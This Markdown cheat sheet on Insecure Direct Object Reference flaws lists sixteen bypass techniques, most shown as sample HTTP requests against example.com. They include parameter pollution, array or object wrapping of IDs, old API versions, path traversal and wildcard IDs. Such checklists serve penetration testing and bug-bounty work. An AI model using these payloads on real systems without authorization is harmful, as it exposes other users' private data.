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217 lines
3.3 KiB
Markdown
217 lines
3.3 KiB
Markdown
# Insecure Direct Object Reference (IDOR)
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## Introduction
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IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.
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## Where to find
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- Usually it can be found in APIs.
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- Check the HTTP request that contain unique ID, for example `user_id` or `id`
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## How to exploit
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1. Add parameters onto the endpoints for example, if there was
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```
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GET /api/v1/getuser HTTP/1.1
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Host: example.com
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...
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```
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Try this to bypass
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```
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GET /api/v1/getuser?id=1234 HTTP/1.1
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Host: example.com
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...
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```
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2. HTTP Parameter pollution
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```
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POST /api/get_profile HTTP/1.1
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Host: example.com
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...
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user_id=hacker_id&user_id=victim_id
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```
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3. Add .json to the endpoint
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```
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GET /v2/GetData/1234 HTTP/1.1
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Host: example.com
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...
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```
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Try this to bypass
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```
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GET /v2/GetData/1234.json HTTP/1.1
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Host: example.com
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...
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```
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4. Test on outdated API Versions
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```
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POST /v2/GetData HTTP/1.1
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Host: example.com
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...
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id=123
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```
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Try this to bypass
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```
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POST /v1/GetData HTTP/1.1
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Host: example.com
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...
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id=123
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```
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5. Wrap the ID with an array.
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```
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POST /api/get_profile HTTP/1.1
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Host: example.com
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...
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{"user_id":111}
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```
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Try this to bypass
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```
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POST /api/get_profile HTTP/1.1
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Host: example.com
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...
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{"id":[111]}
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```
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6. Wrap the ID with a JSON object
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```
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POST /api/get_profile HTTP/1.1
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Host: example.com
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...
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{"user_id":111}
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```
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Try this to bypass
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```
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POST /api/get_profile HTTP/1.1
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Host: example.com
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...
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{"user_id":{"user_id":111}}
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```
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7. JSON Parameter Pollution
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```
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POST /api/get_profile HTTP/1.1
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Host: example.com
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...
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{"user_id":"hacker_id","user_id":"victim_id"}
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```
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8. Try decode the ID, if the ID encoded using md5,base64,etc
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```
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GET /GetUser/dmljdGltQG1haWwuY29t HTTP/1.1
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Host: example.com
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...
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```
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dmljdGltQG1haWwuY29t => victim@mail.com
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9. If the website using GraphQL, try to find IDOR using GraphQL
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```
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GET /graphql HTTP/1.1
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Host: example.com
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...
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```
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```
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GET /graphql.php?query= HTTP/1.1
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Host: example.com
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...
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```
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10. MFLAC (Missing Function Level Access Control)
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```
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GET /admin/profile HTTP/1.1
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Host: example.com
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...
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```
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Try this to bypass
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```
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GET /ADMIN/profile HTTP/1.1
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Host: example.com
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...
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```
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11. Try to swap uuid with number
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```
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GET /file?id=90ri2-xozifke-29ikedaw0d HTTP/1.1
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Host: example.com
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...
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```
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Try this to bypass
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```
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GET /file?id=302
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Host: example.com
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...
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```
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12. Change HTTP Method
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```
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GET /api/v1/users/profile/111 HTTP/1.1
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Host: example.com
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...
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```
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Try this to bypass
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```
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POST /api/v1/users/profile/111 HTTP/1.1
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Host: example.com
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...
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```
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13. Path traversal
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```
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GET /api/v1/users/profile/victim_id HTTP/1.1
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Host: example.com
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...
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```
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Try this to bypass
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```
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GET /api/v1/users/profile/my_id/../victim_id HTTP/1.1
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Host: example.com
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...
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```
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14. Change request `Content-Type`
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```
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GET /api/v1/users/1 HTTP/1.1
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Host: example.com
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Content-type: application/xml
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```
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Try this to bypass
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```
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GET /api/v1/users/2 HTTP/1.1
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Host: example.com
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Content-type: application/json
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```
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15. Send wildcard instead of ID
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```
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GET /api/users/111 HTTP/1.1
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Host: example.com
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```
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Try this to bypass
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```
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GET /api/users/* HTTP/1.1
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Host: example.com
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```
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```
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GET /api/users/% HTTP/1.1
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Host: example.com
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```
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```
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GET /api/users/_ HTTP/1.1
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Host: example.com
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```
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```
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GET /api/users/. HTTP/1.1
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Host: example.com
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```
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16. Try google dorking to find new endpoint
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## References
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* [@swaysThinking](https://twitter.com/swaysThinking) and other medium writeup
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